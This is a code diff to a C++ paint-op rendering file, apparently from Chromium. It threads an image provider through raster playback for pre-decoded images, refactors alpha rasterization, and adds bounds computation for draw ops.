+    sk_sp<SkImage> sk_image =
+        sk_ref_sp<SkImage>(const_cast<SkImage*>(decoded_image.image().get()));
+    PaintImage decoded_paint_image =
+        paint_image.CloneWithSkImage(std::move(sk_image));
+    decoded_flags_.setFilterQuality(decoded_image.filter_quality());
+    decoded_flags_.setShader(
+        PaintShader::MakeImage(decoded_paint_image, flags.getShader()->tx(),
+                               flags.getShader()->ty(), &matrix));
+  }
+
+  PaintFlags* decoded_flags() { return &decoded_flags_; }
+
+  ~ScopedImageFlags() = default;
+
+ private:
+  PaintFlags decoded_flags_;
+  std::unique_ptr<ImageProvider::DecodedImageHolder> holder_;
+
+  DISALLOW_COPY_AND_ASSIGN(ScopedImageFlags);
+};
+
+void RasterWithAlpha(const PaintOp* op,
+                     SkCanvas* canvas,
+                     const PlaybackParams& params,
+                     const SkRect& bounds,
+                     uint8_t alpha) {
+  DCHECK(op->IsDrawOp());
+  DCHECK_NE(static_cast<PaintOpType>(op->type), PaintOpType::DrawRecord);
+
+  // TODO(enne): partially specialize RasterWithAlpha for draw color?
+  if (op->IsPaintOpWithFlags()) {
+    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
+
+    base::Optional<ScopedImageFlags> scoped_flags;
+    const PaintFlags* decoded_flags = &flags_op->flags;
+    if (params.image_provider && IsImageShader(flags_op->flags)) {
+      scoped_flags.emplace(params.image_provider, flags_op->flags,
+                           canvas->getTotalMatrix());
+      decoded_flags = scoped_flags.value().decoded_flags();
+    }
+
+    if (!decoded_flags->SupportsFoldingAlpha()) {
+      bool unset = bounds.x() == PaintOp::kUnsetRect.x();
+      canvas->saveLayerAlpha(unset ? nullptr : &bounds, alpha);
+      flags_op->RasterWithFlags(canvas, decoded_flags, params);
+      canvas->restore();
+    } else if (alpha == 255) {
+      flags_op->RasterWithFlags(canvas, decoded_flags, params);
+    } else {
+      if (scoped_flags.has_value()) {
+        // If we already made a copy, just use that to override the alpha
+        // instead of making another copy.
+        PaintFlags* decoded_flags = scoped_flags.value().decoded_flags();
+        decoded_flags->setAlpha(
+            SkMulDiv255Round(decoded_flags->getAlpha(), alpha));
+        flags_op->RasterWithFlags(canvas, decoded_flags, params);
+      } else {
+        PaintFlags alpha_flags = flags_op->flags;
+        alpha_flags.setAlpha(SkMulDiv255Round(alpha_flags.getAlpha(), alpha));
+        flags_op->RasterWithFlags(canvas, &alpha_flags, params);
+      }
+    }
+  }
+}
+
+}  // namespace
 
 #define TYPES(M)           \
   M(AnnotateOp)            \
@@ -46,90 +190,6 @@
   M(SetMatrixOp)           \
   M(TranslateOp)
 
-using RasterFunction = void (*)(const PaintOp* op,
-                                SkCanvas* canvas,
-                                const SkMatrix& original_ctm);
-using RasterWithFlagsFunction = void (*)(const PaintOpWithFlags* op,
-                                         const PaintFlags* flags,
-                                         SkCanvas* canvas,
-                                         const SkMatrix& original_ctm);
-
-NOINLINE static void RasterWithAlphaInternal(RasterFunction raster_fn,
-                                             const PaintOp* op,
-                                             SkCanvas* canvas,
-                                             const SkRect& bounds,
-                                             uint8_t alpha) {
-  bool unset = bounds.x() == PaintOp::kUnsetRect.x();
-  canvas->saveLayerAlpha(unset ? nullptr : &bounds, alpha);
-  SkMatrix unused_matrix;
-  raster_fn(op, canvas, unused_matrix);
-  canvas->restore();
-}
-
-// Helper template to share common code for RasterWithAlpha when paint ops
-// have or don't have PaintFlags.
-template <typename T, bool HasFlags>
-struct Rasterizer {
-  static void RasterWithAlpha(const T* op,
-                              SkCanvas* canvas,
-                              const SkRect& bounds,
-                              uint8_t alpha) {
-    static_assert(
-        !T::kHasPaintFlags,
-        "This function should not be used for a PaintOp that has PaintFlags");
-    DCHECK(T::kIsDrawOp);
-    RasterWithAlphaInternal(&T::Raster, op, canvas, bounds, alpha);
-  }
-};
-
-NOINLINE static void RasterWithAlphaInternalForFlags(
-    RasterWithFlagsFunction raster_fn,
-    const PaintOpWithFlags* op,
-    SkCanvas* canvas,
-    const SkRect& bounds,
-    uint8_t alpha) {
-  SkMatrix unused_matrix;
-  if (!op->flags.SupportsFoldingAlpha()) {
-    bool unset = bounds.x() == PaintOp::kUnsetRect.x();
-    canvas->saveLayerAlpha(unset ? nullptr : &bounds, alpha);
-    raster_fn(op, &op->flags, canvas, unused_matrix);
-    canvas->restore();
-  } else if (alpha == 255) {
-    raster_fn(op, &op->flags, canvas, unused_matrix);
-  } else {
-    PaintFlags flags = op->flags;
-    flags.setAlpha(SkMulDiv255Round(flags.getAlpha(), alpha));
-    raster_fn(op, &flags, canvas, unused_matrix);
-  }
-}
-
-template <typename T>
-struct Rasterizer<T, true> {
-  static void RasterWithAlpha(const T* op,
-                              SkCanvas* canvas,
-                              const SkRect& bounds,
-                              uint8_t alpha) {
-    static_assert(T::kHasPaintFlags,
-                  "This function expects the PaintOp to have PaintFlags");
-    DCHECK(T::kIsDrawOp);
-    RasterWithAlphaInternalForFlags(&T::RasterWithFlags, op, canvas, bounds,
-                                    alpha);
-  }
-};
-
-// These should never be used, as we should recurse into them to draw their
-// contained op with alpha instead.
-template <bool HasFlags>
-struct Rasterizer<DrawRecordOp, HasFlags> {
-  static void RasterWithAlpha(const DrawRecordOp* op,
-                              SkCanvas* canvas,
-                              const SkRect& bounds,
-                              uint8_t alpha) {
-    NOTREACHED();
-  }
-};
-// TODO(enne): partially specialize RasterWithAlpha for draw color?
-
 static constexpr size_t kNumOpTypes =
     static_cast<size_t>(PaintOpType::LastPaintOpType) + 1;
 
@@ -138,6 +198,72 @@
 static_assert(kNumOpTypes == TYPES(M), "Missing op in list");
 #undef M
 
+template <typename T, bool HasFlags>
+struct Rasterizer {
+  static void RasterWithFlags(const T* op,
+                              const PaintFlags* flags,
+                              SkCanvas* canvas,
+                              const PlaybackParams& params) {
+    static_assert(
+        !T::kHasPaintFlags,
+        "This function should not be used for a PaintOp that has PaintFlags");
+    NOTREACHED();
+  }
+  static void Raster(const T* op,
+                     SkCanvas* canvas,
+                     const PlaybackParams& params) {
+    static_assert(
+        !T::kHasPaintFlags,
+        "This function should not be used for a PaintOp that has PaintFlags");
+    T::Raster(op, canvas, params);
+  }
+};
+
+template <typename T>
+struct Rasterizer<T, true> {
+  static void RasterWithFlags(const T* op,
+                              const PaintFlags* flags,
+                              SkCanvas* canvas,
+                              const PlaybackParams& params) {
+    static_assert(T::kHasPaintFlags,
+                  "This function expects the PaintOp to have PaintFlags");
+    T::RasterWithFlags(op, flags, canvas, params);
+  }
+
+  static void Raster(const T* op,
+                     SkCanvas* canvas,
+                     const PlaybackParams& params) {
+    static_assert(T::kHasPaintFlags,
+                  "This function expects the PaintOp to have PaintFlags");
+    T::RasterWithFlags(op, &op->flags, canvas, params);
+  }
+};
+
+using RasterFunction = void (*)(const PaintOp* op,
+                                SkCanvas* canvas,
+                                const PlaybackParams& params);
+#define M(T)                                                              \
+  [](const PaintOp* op, SkCanvas* canvas, const PlaybackParams& params) { \
+    Rasterizer<T, T::kHasPaintFlags>::Raster(static_cast<const T*>(op),   \
+                                             canvas, params);             \
+  },
+static const RasterFunction g_raster_functions[kNumOpTypes] = {TYPES(M)};
+#undef M
+
+using RasterWithFlagsFunction = void (*)(const PaintOp* op,
+                                         const PaintFlags* flags,
+                                         SkCanvas* canvas,
+                                         const PlaybackParams& params);
+#define M(T)                                                       \
+  [](const PaintOp* op, const PaintFlags* flags, SkCanvas* canvas, \
+     const PlaybackParams& params) {                               \
+    Rasterizer<T, T::kHasPaintFlags>::RasterWithFlags(             \
+        static_cast<const T*>(op), flags, canvas, params);         \
+  },
+static const RasterWithFlagsFunction
+    g_raster_with_flags_functions[kNumOpTypes] = {TYPES(M)};
+#undef M
+
 using SerializeFunction = size_t (*)(const PaintOp* op,
                                      void* memory,
                                      size_t size,
@@ -156,27 +282,6 @@
     TYPES(M)};
 #undef M
 
-using RasterFunction = void (*)(const PaintOp* op,
-                                SkCanvas* canvas,
-                                const SkMatrix& original_ctm);
-#define M(T) &T::Raster,
-static const RasterFunction g_raster_functions[kNumOpTypes] = {TYPES(M)};
-#undef M
-
-using RasterAlphaFunction = void (*)(const PaintOp* op,
-                                     SkCanvas* canvas,
-                                     const SkRect& bounds,
-                                     uint8_t alpha);
-#define M(T) \
-  T::kIsDrawOp ? [](const PaintOp* op, SkCanvas* canvas, const SkRect& bounds, \
-                    uint8_t alpha) { \
-    Rasterizer<T, T::kHasPaintFlags>::RasterWithAlpha( \
-        static_cast<const T*>(op), canvas, bounds, alpha); \
-  } : static_cast<RasterAlphaFunction>(nullptr),
-static const RasterAlphaFunction g_raster_alpha_functions[kNumOpTypes] = {
-    TYPES(M)};
-#undef M
-
 // Most state ops (matrix, clip, save, restore) have a trivial destructor.
 // TODO(enne): evaluate if we need the nullptr optimization or if
 // we even need to differentiate trivial destructors here.
@@ -192,6 +297,10 @@
 static bool g_is_draw_op[kNumOpTypes] = {TYPES(M)};
 #undef M
 
+#define M(T) T::kHasPaintFlags,
+static bool g_has_paint_flags[kNumOpTypes] = {TYPES(M)};
+#undef M
+
 #define M(T)                                         \
   static_assert(sizeof(T) <= sizeof(LargestPaintOp), \
                 #T " must be no bigger than LargestPaintOp");
@@ -283,6 +392,10 @@
   return sizeof(T);
 }
 
+PlaybackParams::PlaybackParams(ImageProvider* image_provider,
+                               const SkMatrix& original_ctm)
+    : image_provider(image_provider), original_ctm(original_ctm) {}
+
 size_t AnnotateOp::Serialize(const PaintOp* base_op,
                              void* memory,
                              size_t size,
@@ -900,7 +1013,6 @@
                                    size_t output_size) {
   // TODO(enne): these must be flattened and not sent directly.
   // TODO(enne): could also consider caching these service side.
-  NOTREACHED();
   return nullptr;
 }
 
@@ -1060,10 +1172,9 @@
   return SimpleDeserialize<TranslateOp>(input, input_size, output, output_size);
 }
 
-void AnnotateOp::Raster(const PaintOp* base_op,
+void AnnotateOp::Raster(const AnnotateOp* op,
                         SkCanvas* canvas,
-                        const SkMatrix& original_ctm) {
-  auto* op = static_cast<const AnnotateOp*>(base_op);
+                        const PlaybackParams& params) {
   switch (op->annotation_type) {
     case PaintCanvas::AnnotationType::URL:
       SkAnnotateRectWithURL(canvas, op->rect, op->data.get());
@@ -1079,215 +1190,252 @@
   }
 }
 
-void ClipPathOp::Raster(const PaintOp* base_op,
+void ClipPathOp::Raster(const ClipPathOp* op,
                         SkCanvas* canvas,
-                        const SkMatrix& original_ctm) {
-  auto* op = static_cast<const ClipPathOp*>(base_op);
+                        const PlaybackParams& params) {
   canvas->clipPath(op->path, op->op, op->antialias);
 }
 
-void ClipRectOp::Raster(const PaintOp* base_op,
+void ClipRectOp::Raster(const ClipRectOp* op,
                         SkCanvas* canvas,
-                        const SkMatrix& original_ctm) {
-  auto* op = static_cast<const ClipRectOp*>(base_op);
+                        const PlaybackParams& params) {
   canvas->clipRect(op->rect, op->op, op->antialias);
 }
 
-void ClipRRectOp::Raster(const PaintOp* base_op,
+void ClipRRectOp::Raster(const ClipRRectOp* op,
                          SkCanvas* canvas,
-                         const SkMatrix& original_ctm) {
-  auto* op = static_cast<const ClipRRectOp*>(base_op);
+                         const PlaybackParams& params) {
   canvas->clipRRect(op->rrect, op->op, op->antialias);
 }
 
-void ConcatOp::Raster(const PaintOp* base_op,
+void ConcatOp::Raster(const ConcatOp* op,
                       SkCanvas* canvas,
-                      const SkMatrix& original_ctm) {
-  auto* op = static_cast<const ConcatOp*>(base_op);
+                      const PlaybackParams& params) {
   canvas->concat(op->matrix);
 }
 
-void DrawArcOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawArcOp::RasterWithFlags(const DrawArcOp* op,
                                 const PaintFlags* flags,
                                 SkCanvas* canvas,
-                                const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawArcOp*>(base_op);
+                                const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawArc(op->oval, op->start_angle, op->sweep_angle, op->use_center,
                   paint);
 }
 
-void DrawCircleOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawCircleOp::RasterWithFlags(const DrawCircleOp* op,
                                    const PaintFlags* flags,
                                    SkCanvas* canvas,
-                                   const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawCircleOp*>(base_op);
+                                   const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawCircle(op->cx, op->cy, op->radius, paint);
 }
 
-void DrawColorOp::Raster(const PaintOp* base_op,
+void DrawColorOp::Raster(const DrawColorOp* op,
                          SkCanvas* canvas,
-                         const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawColorOp*>(base_op);
+                         const PlaybackParams& params) {
   canvas->drawColor(op->color, op->mode);
 }
 
-void DrawDRRectOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawDRRectOp::RasterWithFlags(const DrawDRRectOp* op,
                                    const PaintFlags* flags,
                                    SkCanvas* canvas,
-                                   const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawDRRectOp*>(base_op);
+                                   const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawDRRect(op->outer, op->inner, paint);
 }
 
-void DrawImageOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawImageOp::RasterWithFlags(const DrawImageOp* op,
                                   const PaintFlags* flags,
                                   SkCanvas* canvas,
-                                  const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawImageOp*>(base_op);
+                                  const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
-  canvas->drawImage(op->image.sk_image().get(), op->left, op->top, &paint);
+
+  if (params.image_provider) {
+    SkRect image_rect = SkRect::MakeIWH(op->image.sk_image()->width(),
+                                        op->image.sk_image()->height());
+    auto decoded_image_holder = params.image_provider->GetDecodedImage(
+        op->image, image_rect,
+        flags ? flags->getFilterQuality() : kNone_SkFilterQuality,
+        canvas->getTotalMatrix());
+    if (!decoded_image_holder)
+      return;
+
+    const auto& decoded_image = decoded_image_holder->DecodedImage();
+    DCHECK(decoded_image.image());
+
+    DCHECK_EQ(0, static_cast<int>(decoded_image.src_rect_offset().width()));
+    DCHECK_EQ(0, static_cast<int>(decoded_image.src_rect_offset().height()));
+    bool need_scale = !decoded_image.is_scale_adjustment_identity();
+    if (need_scale) {
+      canvas->save();
+      canvas->scale(1.f / (decoded_image.scale_adjustment().width()),
+                    1.f / (decoded_image.scale_adjustment().height()));
+    }
+
+    paint.setFilterQuality(decoded_image.filter_quality());
+    canvas->drawImage(decoded_image.image().get(), op->left, op->top, &paint);
+    if (need_scale)
+      canvas->restore();
+  } else {
+    canvas->drawImage(op->image.sk_image().get(), op->left, op->top, &paint);
+  }
 }
 
-void DrawImageRectOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawImageRectOp::RasterWithFlags(const DrawImageRectOp* op,
                                       const PaintFlags* flags,
                                       SkCanvas* canvas,
-                                      const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawImageRectOp*>(base_op);
+                                      const PlaybackParams& params) {
   // TODO(enne): Probably PaintCanvas should just use the skia enum directly.
   SkCanvas::SrcRectConstraint skconstraint =
       static_cast<SkCanvas::SrcRectConstraint>(op->constraint);
   SkPaint paint = flags->ToSkPaint();
-  canvas->drawImageRect(op->image.sk_image().get(), op->src, op->dst, &paint,
-                        skconstraint);
+
+  if (params.image_provider) {
+    SkMatrix matrix;
+    matrix.setRectToRect(op->src, op->dst, SkMatrix::kFill_ScaleToFit);
+    matrix.postConcat(canvas->getTotalMatrix());
+
+    auto decoded_image_holder = params.image_provider->GetDecodedImage(
+        op->image, op->src,
+        flags ? flags->getFilterQuality() : kNone_SkFilterQuality, matrix);
+    if (!decoded_image_holder)
+      return;
+
+    const auto& decoded_image = decoded_image_holder->DecodedImage();
+    DCHECK(decoded_image.image());
+
+    SkRect adjusted_src =
+        op->src.makeOffset(decoded_image.src_rect_offset().width(),
+                           decoded_image.src_rect_offset().height());
+    if (!decoded_image.is_scale_adjustment_identity()) {
+      float x_scale = decoded_image.scale_adjustment().width();
+      float y_scale = decoded_image.scale_adjustment().height();
+      adjusted_src = SkRect::MakeXYWH(
+          adjusted_src.x() * x_scale, adjusted_src.y() * y_scale,
+          adjusted_src.width() * x_scale, adjusted_src.height() * y_scale);
+    }
+
+    SkPaint paint = flags->ToSkPaint();
+    paint.setFilterQuality(decoded_image.filter_quality());
+    canvas->drawImageRect(decoded_image.image().get(), adjusted_src, op->dst,
+                          &paint, skconstraint);
+  } else {
+    canvas->drawImageRect(op->image.sk_image().get(), op->src, op->dst, &paint,
+                          skconstraint);
+  }
 }
 
-void DrawIRectOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawIRectOp::RasterWithFlags(const DrawIRectOp* op,
                                   const PaintFlags* flags,
                                   SkCanvas* canvas,
-                                  const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawIRectOp*>(base_op);
+                                  const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawIRect(op->rect, paint);
 }
 
-void DrawLineOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawLineOp::RasterWithFlags(const DrawLineOp* op,
                                  const PaintFlags* flags,
                                  SkCanvas* canvas,
-                                 const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawLineOp*>(base_op);
+                                 const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawLine(op->x0, op->y0, op->x1, op->y1, paint);
 }
 
-void DrawOvalOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawOvalOp::RasterWithFlags(const DrawOvalOp* op,
                                  const PaintFlags* flags,
                                  SkCanvas* canvas,
-                                 const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawOvalOp*>(base_op);
+                                 const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawOval(op->oval, paint);
 }
 
-void DrawPathOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawPathOp::RasterWithFlags(const DrawPathOp* op,
                                  const PaintFlags* flags,
                                  SkCanvas* canvas,
-                                 const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawPathOp*>(base_op);
+                                 const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawPath(op->path, paint);
 }
 
-void DrawPosTextOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawPosTextOp::RasterWithFlags(const DrawPosTextOp* op,
                                     const PaintFlags* flags,
                                     SkCanvas* canvas,
-                                    const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawPosTextOp*>(base_op);
+                                    const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawPosText(op->GetData(), op->bytes, op->GetArray(), paint);
 }
 
-void DrawRecordOp::Raster(const PaintOp* base_op,
+void DrawRecordOp::Raster(const DrawRecordOp* op,
                           SkCanvas* canvas,
-                          const SkMatrix& original_ctm) {
+                          const PlaybackParams& params) {
   // Don't use drawPicture here, as it adds an implicit clip.
-  auto* op = static_cast<const DrawRecordOp*>(base_op);
-  op->record->Playback(canvas);
+  op->record->Playback(canvas, params.image_provider);
 }
 
-void DrawRectOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawRectOp::RasterWithFlags(const DrawRectOp* op,
                                  const PaintFlags* flags,
                                  SkCanvas* canvas,
-                                 const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawRectOp*>(base_op);
+                                 const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawRect(op->rect, paint);
 }
 
-void DrawRRectOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawRRectOp::RasterWithFlags(const DrawRRectOp* op,
                                   const PaintFlags* flags,
                                   SkCanvas* canvas,
-                                  const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawRRectOp*>(base_op);
+                                  const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawRRect(op->rrect, paint);
 }
 
-void DrawTextOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawTextOp::RasterWithFlags(const DrawTextOp* op,
                                  const PaintFlags* flags,
                                  SkCanvas* canvas,
-                                 const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawTextOp*>(base_op);
+                                 const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawText(op->GetData(), op->bytes, op->x, op->y, paint);
 }
 
-void DrawTextBlobOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void DrawTextBlobOp::RasterWithFlags(const DrawTextBlobOp* op,
                                      const PaintFlags* flags,
                                      SkCanvas* canvas,
-                                     const SkMatrix& original_ctm) {
-  auto* op = static_cast<const DrawTextBlobOp*>(base_op);
+                                     const PlaybackParams& params) {
   SkPaint paint = flags->ToSkPaint();
   canvas->drawTextBlob(op->blob.get(), op->x, op->y, paint);
 }
 
-void RestoreOp::Raster(const PaintOp* base_op,
+void RestoreOp::Raster(const RestoreOp* op,
                        SkCanvas* canvas,
-                       const SkMatrix& original_ctm) {
+                       const PlaybackParams& params) {
   canvas->restore();
 }
 
-void RotateOp::Raster(const PaintOp* base_op,
+void RotateOp::Raster(const RotateOp* op,
                       SkCanvas* canvas,
-                      const SkMatrix& original_ctm) {
-  auto* op = static_cast<const RotateOp*>(base_op);
+                      const PlaybackParams& params) {
   canvas->rotate(op->degrees);
 }
 
-void SaveOp::Raster(const PaintOp* base_op,
+void SaveOp::Raster(const SaveOp* op,
                     SkCanvas* canvas,
-                    const SkMatrix& original_ctm) {
+                    const PlaybackParams& params) {
   canvas->save();
 }
 
-void SaveLayerOp::RasterWithFlags(const PaintOpWithFlags* base_op,
+void SaveLayerOp::RasterWithFlags(const SaveLayerOp* op,
                                   const PaintFlags* flags,
                                   SkCanvas* canvas,
-                                  const SkMatrix& original_ctm) {
-  auto* op = static_cast<const SaveLayerOp*>(base_op);
+                                  const PlaybackParams& params) {
   // See PaintOp::kUnsetRect
-  bool unset = op->bounds.left() == SK_ScalarInfinity;
-
   SkPaint paint = flags->ToSkPaint();
+  bool unset = op->bounds.left() == SK_ScalarInfinity;
   canvas->saveLayer(unset ? nullptr : &op->bounds, &paint);
 }
 
-void SaveLayerAlphaOp::Raster(const PaintOp* base_op,
+void SaveLayerAlphaOp::Raster(const SaveLayerAlphaOp* op,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm) {
-  auto* op = static_cast<const SaveLayerAlphaOp*>(base_op);
+                              const PlaybackParams& params) {
   // See PaintOp::kUnsetRect
   bool unset = op->bounds.left() == SK_ScalarInfinity;
   if (op->preserve_lcd_text_requests) {
@@ -1300,24 +1448,21 @@
   }
 }
 
-void ScaleOp::Raster(const PaintOp* base_op,
+void ScaleOp::Raster(const ScaleOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-  auto* op = static_cast<const ScaleOp*>(base_op);
+                     const PlaybackParams& params) {
   canvas->scale(op->sx, op->sy);
 }
 
-void SetMatrixOp::Raster(const PaintOp* base_op,
+void SetMatrixOp::Raster(const SetMatrixOp* op,
                          SkCanvas* canvas,
-                         const SkMatrix& original_ctm) {
-  auto* op = static_cast<const SetMatrixOp*>(base_op);
-  canvas->setMatrix(SkMatrix::Concat(original_ctm, op->matrix));
+                         const PlaybackParams& params) {
+  canvas->setMatrix(SkMatrix::Concat(params.original_ctm, op->matrix));
 }
 
-void TranslateOp::Raster(const PaintOp* base_op,
+void TranslateOp::Raster(const TranslateOp* op,
                          SkCanvas* canvas,
-                         const SkMatrix& original_ctm) {
-  auto* op = static_cast<const TranslateOp*>(base_op);
+                         const PlaybackParams& params) {
   canvas->translate(op->dx, op->dy);
 }
 
@@ -1325,14 +1470,12 @@
   return g_is_draw_op[type];
 }
 
-void PaintOp::Raster(SkCanvas* canvas, const SkMatrix& original_ctm) const {
-  g_raster_functions[type](this, canvas, original_ctm);
+bool PaintOp::IsPaintOpWithFlags() const {
+  return g_has_paint_flags[type];
 }
 
-void PaintOp::RasterWithAlpha(SkCanvas* canvas,
-                              const SkRect& bounds,
-                              uint8_t alpha) const {
-  g_raster_alpha_functions[type](this, canvas, bounds, alpha);
+void PaintOp::Raster(SkCanvas* canvas, const PlaybackParams& params) const {
+  g_raster_functions[type](this, canvas, params);
 }
 
 size_t PaintOp::Serialize(void* memory,
@@ -1382,12 +1525,114 @@
                                                    output_size);
 }
 
+// static
+bool PaintOp::GetBounds(const PaintOp* op, SkRect* rect) {
+  DCHECK(op->IsDrawOp());
+
+  switch (op->GetType()) {
+    case PaintOpType::DrawArc: {
+      auto* arc_op = static_cast<const DrawArcOp*>(op);
+      *rect = arc_op->oval;
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawCircle: {
+      auto* circle_op = static_cast<const DrawCircleOp*>(op);
+      *rect = SkRect::MakeXYWH(circle_op->cx - circle_op->radius,
+                               circle_op->cy - circle_op->radius,
+                               2 * circle_op->radius, 2 * circle_op->radius);
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawImage: {
+      auto* image_op = static_cast<const DrawImageOp*>(op);
+      *rect = SkRect::MakeXYWH(image_op->left, image_op->top,
+                               image_op->image.sk_image()->width(),
+                               image_op->image.sk_image()->height());
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawImageRect: {
+      auto* image_rect_op = static_cast<const DrawImageRectOp*>(op);
+      *rect = image_rect_op->dst;
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawIRect: {
+      auto* rect_op = static_cast<const DrawIRectOp*>(op);
+      *rect = SkRect::Make(rect_op->rect);
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawOval: {
+      auto* oval_op = static_cast<const DrawOvalOp*>(op);
+      *rect = oval_op->oval;
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawPath: {
+      auto* path_op = static_cast<const DrawPathOp*>(op);
+      *rect = path_op->path.getBounds();
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawRect: {
+      auto* rect_op = static_cast<const DrawRectOp*>(op);
+      *rect = rect_op->rect;
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawRRect: {
+      auto* rect_op = static_cast<const DrawRRectOp*>(op);
+      *rect = rect_op->rrect.rect();
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawRecord:
+      return false;
+    case PaintOpType::DrawPosText:
+      return false;
+    case PaintOpType::DrawLine: {
+      auto* line_op = static_cast<const DrawLineOp*>(op);
+      rect->set(line_op->x0, line_op->y0, line_op->x1, line_op->y1);
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawDRRect: {
+      auto* rect_op = static_cast<const DrawDRRectOp*>(op);
+      *rect = rect_op->outer.getBounds();
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawText:
+      return false;
+    case PaintOpType::DrawTextBlob: {
+      auto* text_op = static_cast<const DrawTextBlobOp*>(op);
+      *rect = text_op->blob->bounds().makeOffset(text_op->x, text_op->y);
+      rect->sort();
+      return true;
+    }
+    case PaintOpType::DrawColor:
+      return false;
+      break;
+    default:
+      NOTREACHED();
+  }
+  return false;
+}
+
 void PaintOp::DestroyThis() {
   auto func = g_destructor_functions[type];
   if (func)
     func(this);
 }
 
+void PaintOpWithFlags::RasterWithFlags(SkCanvas* canvas,
+                                       const PaintFlags* flags,
+                                       const PlaybackParams& params) const {
+  g_raster_with_flags_functions[type](this, flags, canvas, params);
+}
+
 int ClipPathOp::CountSlowPaths() const {
   return antialias && !path.isConvex() ? 1 : 0;
 }
@@ -1547,6 +1792,7 @@
   op_count_ = other.op_count_;
   num_slow_paths_ = other.num_slow_paths_;
   subrecord_bytes_used_ = other.subrecord_bytes_used_;
+  has_non_aa_paint_ = other.has_non_aa_paint_;
   has_discardable_images_ = other.has_discardable_images_;
 
   // Make sure the other pob can destruct safely.
@@ -1596,11 +1842,13 @@
 }
 
 void PaintOpBuffer::Playback(SkCanvas* canvas,
+                             ImageProvider* image_provider,
                              SkPicture::AbortCallback* callback) const {
-  Playback(canvas, callback, nullptr);
+  Playback(canvas, image_provider, callback, nullptr);
 }
 
 void PaintOpBuffer::Playback(SkCanvas* canvas,
+                             ImageProvider* image_provider,
                              SkPicture::AbortCallback* callback,
                              const std::vector<size_t>* offsets) const {
   if (!op_count_)
@@ -1616,7 +1864,7 @@
   // translate(x, y), then draw a paint record with a SetMatrix(identity),
   // the translation should be preserved instead of clobbering the top level
   // transform.  This could probably be done more efficiently.
-  SkMatrix original = canvas->getTotalMatrix();
+  PlaybackParams params(image_provider, canvas->getTotalMatrix());
 
   // FIFO queue of paint ops that have been peeked at.
   base::StackVector<const PaintOp*, 3> stack;
@@ -1660,10 +1908,31 @@
         const PaintOp* draw_op = GetNestedSingleDrawingOp(second);
 
         if (draw_op) {
+          // This is an optimization to replicate the behaviour in SkCanvas
+          // which rejects ops that draw outside the current clip. In the
+          // general case we defer this to the SkCanvas but if we will be
+          // using an ImageProvider for pre-decoding images, we can save
+          // performing an expensive decode that will never be rasterized.
+          const bool skip_op = params.image_provider && IsImageOp(draw_op) &&
+                               QuickRejectDraw(draw_op, canvas);
+          if (skip_op) {
+            // Now that we know this op will be skipped, we can push the save
+            // layer op back to the stack and continue iterating .
+            // In the case with the following list of ops:
+            // [SaveLayer, DrawImage, DrawRect, Restore], where draw_op is the
+            // DrawImage op, this starts the iteration again from SaveLayer and
+            // eliminates the DrawImage op.
+            DCHECK(stack->empty());
+            stack->push_back(op);
+            continue;
+          }
+
           third = next_op();
           if (third && third->GetType() == PaintOpType::Restore) {
             auto* save_op = static_cast<const SaveLayerAlphaOp*>(op);
-            draw_op->RasterWithAlpha(canvas, save_op->bounds, save_op->alpha);
+            SkPaint paint;
+            RasterWithAlpha(draw_op, canvas, params, save_op->bounds,
+                            save_op->alpha);
             continue;
           }
         }
